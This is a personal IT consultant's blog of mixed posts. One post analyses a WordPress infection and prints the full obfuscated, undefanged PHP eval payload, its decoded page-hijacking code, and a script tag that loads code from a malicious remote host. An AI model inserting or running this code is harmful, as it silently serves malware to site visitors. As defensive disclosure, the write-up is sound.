Step3 : Domain Registration/Transfer
I am sending you to Domain.COM to register your Domains with a new registrar. We will not be Hosting your domains with them as we want to keep your domain registrar seperate from your hosting provider because it removes weak points should you experience similar problems in the future.

 

Create your  account here :

 

https://secure.domain.com/order/usc/login.php

Send me your account login details and I will send you instructions for domain transfers , since there will be a registrar cost and they will ask for credit details.

Why use Domain.com ?

I have been a fan of Domain.com for a while, they have been around the internet block for as long as Dreamhost.com so I use them with confidence.

Step 4: Goto https://signup.dreamhost.com/ and sign up to Dreamhost .
This will be your Hosting provision and part of the process is that you will be asked to Host at least one domain. Select any of your domains and when you do choose to host with Dreamhost but the domain will be pointed to Dreamhost and not transferred to them, if your getting stuck here let me know . Again they will want credit details which makes life a little hard for me to act on your behalf. When this is complete  send me your login details for Dreamhost

Step 5: I will create an account on Google Apps for your domain for your Emails because this bit is free and we will have the domains under control we can take that step

Step6 : Review
by now onlineinc should have started their 24hr process and Domain.com should be expecting to receive the domains ( it can take upto 48hrs to transfer across ) and we will have a Domain.com and Dreamhost.com accounts from which to manage the sites

step7: Websites and Content recovery.
I will continue to chase old registrar to see if serverxyz is functioning. if so we can see about getting a copy of your sites; if not we will have to accept that you will have  to start again.

So far you have incured no cost from me ( I havent actually done anything of value ) but when we start moving to Step7 then my hourly rates are [redacted] . My typical cost for helping people get Dreamhost wordpress sites running with their email and logins and a ready to roll theme and suitable plugins is 1 hour.

I hope this gives you the tools and the direction to move forward I look forward to your response.

There was a time when I would go everywhere on my Bike. Cycling several miles in a day around Horsham to go to and from town and to visit the Gym or get some basic shopping items in and then we moved home. The new house didnt make it easy to move the bike from its storage to the road and back and Sharon was not happy with me locking it up securely in front of the house. So the bike remained in its storage in a shed for the next 7 years. I dont know what has spurned the interest in cycling , other than the desire to not use my car for moving around Horsham and whilst it is not easy to have a Family and use a bike it is no longer insurmountable in my daily routine that a Bike would be a hindrance.

So it was in the last few weeks of April that I opened the shed and looked upon the bike. It would need some care to restore it. Chains and cables and levers and fastenings would need to be inspected. Tyres and inner tubes given some thought to and brake blocks inspected. If I had approached this a decade ago then I would no doubt have given up on the thought of getting that job done. I realised that with Google and YouTube I would have many answers to my questions if only I was prepared to read, listen, watch, consider, plan and implement.

There are plenty of tutorial videos and hints/tips websites available , there are whole chapters on Lifehackers own website that can give you direction and then there is the equipment you really should purchase. The BikeHut maintenance stand and tire pump being just two such must haves. Sure my Dad would insist you could just turn the bike upside down to work on it but there are always those jobs for which a inverted bike is simply more of a fiddle and problem than a bike raised to eye height and accessible from every side. A Decent pump with pressure gauge and foot plate made bloody short work of inflating and testing the tyres and the cycle chain degreaser unit was a thing of wonder. The bike cost a few hundred pound when new skimping on the tools to repair and renew that it would have been a false economy.

Three weeks later and with the bike tyres checked over and the brakes tweaked and the gears corrected and several cables replaced the bikes are on the road and there is a general feeling of satisfaction of getting a job done.

I am sure there are many jobs for which internet based learning would be inappropriate but in this one area I have to say the Internet proves how it is an incredibly powerful tool for education.

Thanks for riding

I have yet to work out what vector was used to add additional code to my site but it appears that the automated tools which injected the code are running depsite the payload no longer being available ( though that will change as the code evolves ) The additional code was injected into the top of every .php file in the root of my wordpress installation and it came to light when my own scripts emailed me to say that the files contained some key phrases that had I was looking for.

Before I discuss my method of scanning and maintenance lets have a look at the core infection; warning this code is not defanged and if your try it out then please realise I do not accept responsibility for you pulling the trigger.

The Infection :

FOR TESTING PURPOSES I RAN THIS SCRIPT IN THE CONSOLE OF A STAND ALONE VIRTUAL MACHINE WITH NO INTERNET ACCESS.

The Single line of new code was pasted to the top of each file.

<? php eval (base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTF

NbJ21yX25vJ10pKXsgICAkR0xPQkFMU1snbXJfbm8nXT0xOyAgIGlmKCFmdW5jd

Glvbl9leGlzdHMoJ21yb2JoJykpeyAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbC

cpKXsgICAgIGZ1bmN0aW9uIGdtbCgpeyAgICAgIGlmIChzdHJpc3RyKCRfU0VSVkV

SWyJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA2Iil8fHN0cmlzdHIoJF9TRVJWRVJb

IkhUVFBfVVNFUl9BR0VOVCJdLCJNU0lFIDciKXx8c3RyaXN0cigkX1NFUlZFUlsi

SFRUUF9VU0VSX0FHRU5UIl0sIk1TSUUgOCIpfHxzdHJpc3RyKCRfU0VSVkVSW

yJIVFRQX1VTRVJfQUdFTlQiXSwiTVNJRSA5IikpeyAgICAgICByZXR1cm4gYmFz

ZTY0X2RlY29kZSgiUEhOamNtbHdkQ0J6Y21NOUltaDBkSEE2THk5bmJHOWlZ

V3h3YjNkbGNtbHVaMmRoZEdobGNtbHVaeTVqYjIwdmJtd3VjR2h3UDNBOU1TS

StQQzl6WTNKcGNIUSsiKTsgICAgICB9ICAgICAgcmV0dXJuICIiOyAgICAgfSAgI

CB9ICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXsgIC

AgIGZ1bmN0aW9uIGd6ZGVjb2RlKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzh

GNjExQTU2NDY4NEMpeyAgICAgICRSMzBCMkFCOERDMTQ5NkQwNkIyM

zBBNzFEODk2MkFGNUQ9QG9yZChAc3Vic3RyKCRSNUE5Q0YxQjQ5NzU

wMkFDQTIzQzhGNjExQTU2NDY4NEMsMywxKSk7ICAgICAgJFJCRTRDNE

QwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT0xMDsgICAgICAkUkEz

RDUyRTUyQTQ4OTM2Q0RFMEY1MzU2QkIwODY1MkYyPTA7ICAgICAga

WYoJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCY0KX

sgICAgICAgJFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQj

1AdW5wYWNrKCd2JyxzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjN

DOEY2MTFBNTY0Njg0QywxMCwyKSk7ICAgICAgICRSNjNCRURFNkIx

OTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2R

DRFRkVBRDA3QTREOTFFMjlFQlsxXTsgICAgICAgJFJCRTRDNEQwM

zdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSs9MiskUjYzQkVERTZCMT

kyNjZENEVGRUFEMDdBNEQ5MUUyOUVCOyAgICAgIH0gICAgICBpZigkUjMwQj

JBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjgpeyAgICAgICAkUkJFNEM0RDA

zN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PUBzdHJwb3MoJFI1QTlDRjFCN

Dk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QyxjaHIoMCksJFJCRTRDNEQwMz

dFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkrMTsgICAgICB9ICAgICAgaWYoJFIz

MEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCYxNil7ICAgICAgICR

SQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjV

BOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0

RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxOyAgICAgIH0gICAgICBpZig

kUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyAgICAgICAkUk

JFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yOyAgICAgIH0gI

CAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPUBnemluZm

xhdGUoQHN1YnN0cigkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2OD

RDLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKTsgICA

gICBpZigkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzPT09Rk

FMU0UpeyAgICAgICAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzM

zUzPSRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEM7ICAgIC

AgfSAgICAgIHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzM

zUzOyAgICAgfSAgICB9ICAgIGZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY

3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpeyAgICAgSGVhZGVyKCdDb250ZW50LU

VuY29kaW5nOiBub25lJyk7ICAgICAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1

OUM1MUI4MURFPWd6ZGVjb2RlKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0

RUJBN0ZBNkI3OEIpOyAgICAgICBpZihwcmVnX21hdGNoKCcvXDxcL2JvZHkv

c2knLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpKXsgI

CAgIdByZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8XC9ib2R5W15cPl0qXD

4pL3NpJyxnbWwoKS4iXG4iLickMScsJFJBMTc5QUJEM0E3QjlFMjhDMzY5

RjdCNTlDNTFCODFERSk7ICAgICB9ZWxzZXsgICAgICByZXR1cm4gJFJ

BMTc5QUJEM0E3QjlFMjhDMzY5RjdCNTlDNTFCODFERS5nbWwoKTsgI

CAgIH0gICAgfSAgICBvYl9zdGFydCgnbXJvYmgnKTsgICB9ICB9"));?>

To debug what is going on the first step was to copy the code into a separate file and rename the eval statement into an echo statement then run the script and pipe the output into a separate script.

if(function_exists(‘ob_start’)&&!isset($GLOBALS['mr_no'])){

$GLOBALS['mr_no']=1;

if(!function_exists(‘mrobh’)){

if(!function_exists(‘gml’)){

function gml(){

//if (stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 6")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 7")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 8")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 9")){

return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9nbG9iYWxwb3dlcmluZ2dhdGhlcmluZy5jb20vbmwucGhwP3A9MSI+PC9zY3JpcHQ+"); } return ""; } } if(!function_exists(‘gzdecode’)){ function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack(‘v’,substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header(‘Content-Encoding: none’); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match(‘/\<\/body/si’,$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace(‘/(\<\/body[^\>]*\>)/si’,gml()."\n".’$1′,$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start(‘mrobh’); } }

It is clear that the script will only launch if the User Agent ( Browser ) Rendering the script is Internet Explorer, So lets edit the relevant  line and replace it with something that returns true.

//if (stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 6")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 7")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 8")||stristr($_SERVER["HTTP_USER_AGENT"],"MSIE 9")){

//

if(1==1){

Now we can run that script and output its results into another file

<script src="http://globalpoweringgathering.com/nl.php?p=1"></script>

If I had been an Internet Explorer user then pages served from http://loudmouthman.com would have been making a call to GlobalPowerGathering to return a script.

I cant find the contents of the script because the site in question will not return a response. Further if you are surfing with Comodo , Google DNS or Chrome you are warned about visiting that site since it may contain malware.

Doing some research on Google I belive that had the script worked it would have attempted to launch a Malware page which would have created a Fake Antivirus page examples of which can be seen if you search google for “fake antivirus popup” The script targeted Windows IE users which meant the script was not being called if you visited from any other browser.

Having defanged my own WordPress files and reset the security flag on my site I checked with Google to see if they felt I was a problem website. Visiting Google Safebrowsing page will let you know if your site has in the last 90days been reported as a problem.

With my site cleaned up I went ahead and checked my Friends and Clients websites to check they too were not infected or reported on Google. Thankfully we came up clean.

Prevention

Outside of ensuring that I keep wordpress as upto date as is safe and using lockdown and admin login tools to monitor access to the websites I have a script which runs every hour and scans for keyphrases or words inside the files on my sites. If the magic pattern makes a match then I get an email and can log in via the shell and begin to repair the damage ( usually by replacing the files with a clean copy of wordpress )  You can  automate a lot of this process but nothing beats the intervention of a human for double checking against a false positive.

I might have chosen not to admit that I was infected , l I run a business that helps reduce this from happening and it could be perceived as a failure on my part. I feel that honesty and information are a more valuable currency and hopefully the above will help others in diagnosing their problems.

Thanks for reading.

I sent the first contact form today :

When the service was enabled my average line speed was over 12000 kpbs ( I tended to log into my router most mornings to observe this ) . Within the last 2 months Horsham has been upgraded to 21CN ( BTs new Fibre to the cabinet ) as a result my own road now has the new giant green cabinets.

Should I be suprised that following those cabinets being installed by BT that my average line speed is now 7000kpbs  ?

The line speed has dropped consistently. I notice a lack of performance from my network and since I work from home my use of the internet throughout the day means I have monitored this for several weeks and despite testing sockets, filters, lines , reboots and resets I have not seen an improvement ( frankly I wouldn’t expect to ).

What I cant do is test with another router since I dont have the username/password to the ADSL account for a SKY internet account and this means I am locked to that router and cant test any further.

Feel free to send me another router; maybe run some line tests but unless you have a way to move me to 21CN I dont think BT are going to pull their finger out of their arse and fix my problem with linespeed.

This is a problem that affects your ability to deliver a service to me in a way that I am sure free markets are supposed to ensure cannot happen, but I digress.

I look forward to your response; but just in case we feel that communication isnt up to speed I thought I would post this on my Blog just to track the conversation and result.

Thank you.

Update:  25 April 2011

Sky called me back and explained that following a line test the speed I was seeing would be the best I can expect for the line. They will raise this as a complaint and things will progress as best they can.

Genki Gear create those T-Shirts you see other people wearing and wish you could remember to put them on your own wishlist. The jokes here do not require a hidden knowledge of Games or Movie trivia , although there is a range if Rankin is your thing.  I picked up a T-shirt for Sharon at this years #Kapow comic con. Cupcakes of Doom and their horrific Buttercream fillings should be treated with caution no matter who wears the shirt.

My advice was is on page 25 in the “Advice from SMB Experts”.

Give them an Answer, not a solution. Answer the question they put before you with the answer to their question
and not an answer that fits a solution which you can sell them. Understand how that answer fits into the whole
picture and not the problem they are presenting you with.
-Nicholas Butler | www.loudmouthman.com

If you have the time and are genuinely interested in what there is about me , how I work and why I keep my clients then I recommend you listen to the interview that Dennis Howlett   ( @dahowlett  ) did with me back in June 2010.

Victim no 1: Why should you hire Nik Butler ?

If I am guilty of anything it is that I rarely promote what it is that I do or why I get things done. I think the best people to tell you that are my clients and my friends. Hopefully they might leave a few comments here to expand.

Thanks for reading.

Its that time of the upgrade cycle for a client and we have to replace the 3 year old PowerEdge 1000s with something new and under warranty.

The Dell Poweredge R210 is an ultra compact 1U Rackmountable server it is customisable on purchase and for my mind it suits a Small to Medium Sized business of upto 50 workstations for File and Network services. These purchases  two  Ubuntu and Redhat Servers which are running on virtual instances under VirtualBox ( more on that another time ) .

What knocked this purchase out of the park for me was the mounting kit. Seriously the mounting kit was a work of engineering genius. It was a no tools , no fiddle , no scrapped knuckles mounting rail that meant the servers were installed in the cabinet in less than 5 minutes. I could hug the designer that made those rails.

Those little pegs replace the need for the nuts, bolts, pliers and screw driver combination that traditionally welcomes the unsuspecting system admin.

It is not easy to make out but the side of the R210 has two pegs into which the spars from the rail mount kit slip over and lock down by way of the tension spring which clips under the peg when flush.

The external rails are clearly labelled LEFT and RIGHT and the front and rear are clearly marked. The rails fit into the mounting points on the cabinet post and a small retaining hook stops them moving back out. The spars fitted to the case of the R210 are slid onto the rails and everything slips back and cleanly ‘clicks’ into place. It feels like your cheating to use these rails but if this is cutting corners then I say look the other way. Dell you rock for this creation, thank you.

Thanks for reading.

The next round of papers have arrived from the council and these are to details the when and how of the count of votes for the election. You can nominate yourself or another to attend the counting of the votes and whilst it might appear to be a dreadfully dull affair the tension, celebration or commiserations are palpable in the atmosphere of the day. Needless to say I am putting my name forward to spend a day at the count.

Thanks for reading.

Like many Geeks I enjoy the relationship between hidden knowledge and public symbols. Nothing enables us to express this better than a Tee shirt on which some obtuse reference is passed and for which those with access to that experience will interpret and gain understanding.

 Insert Coin Clothing have done this with the  Video Game Genre. I may love them a little too much though since I have  updated my Evernote “Wishlist – Notebook”  to include a few more designs for which  people might wish to buy me .

I discovered Insert Coin Clothing at the recent Kapow Comic Con and this may be a good thing for one of us but I have yet to  work out which that might be. Meanwhile I have been faking Irish accents and walking round Horsham in the above.

You can Follow the team of Insert Coin Clothing on Twitter @InsertCoinTees  tell them @Loudmouthman said to do so. Now go ahead and buy some more Tees !

Thanks for playing.

Kapow Comic Con was busy on day one and from accounts of twitter it is equally busy on day 2. I dont have enough points of reference to speak for other Comic and Fan conventions but  Islington Business Design Centre added something I have not experienced in other Cons, Natural Light!  The trade floor was tough to negotiate by the afternoon and many of the queues for seminars had a tendency to trail infront of exhibitors stands. I am sure we might like to see a Convention on the scale and duration of the San Diego Comic Con but I doubt that many places in the UK would be delighted with the concept of churning over their daily business for a week of Geeks, Nerds, Fans and LARPers. For a first run there is much to be improved but lets hope that they do come back again with a larger venue and better queue management.

1.  Asking for Votes.
2.  Finding Votes
3.  and finding people to ask for votes. 

Today I did none of those, I went to London met a few friends and read Comics; back to proper Election stuff Sunday okay ?

Meanwhile Anna Coe who helped in that article has accepted that a correction might be in order, I wonder if I might encourage her to accept one of those action photos ?

There are, I am told, leaflets to be picked up and delivered door to door. Yes even in this wonderful age of technology we still find that actual bits of paper through a door will capture the hearts , minds and attentions of many  potential voters.

I note though that one or two people on twitter have commented that much of the paperwork they receive appears focussed on  negative campaigning or explaining what  may have  been done differently. Just as it took a while for Marketing and PR to catch up with the conventions of the modern consumer so it is with Political Campaigning that there is  a lag between where people are today and how parties will expect them to react. 

I think I shall stick to making a noise and keeping up the signal.

Thanks for reading.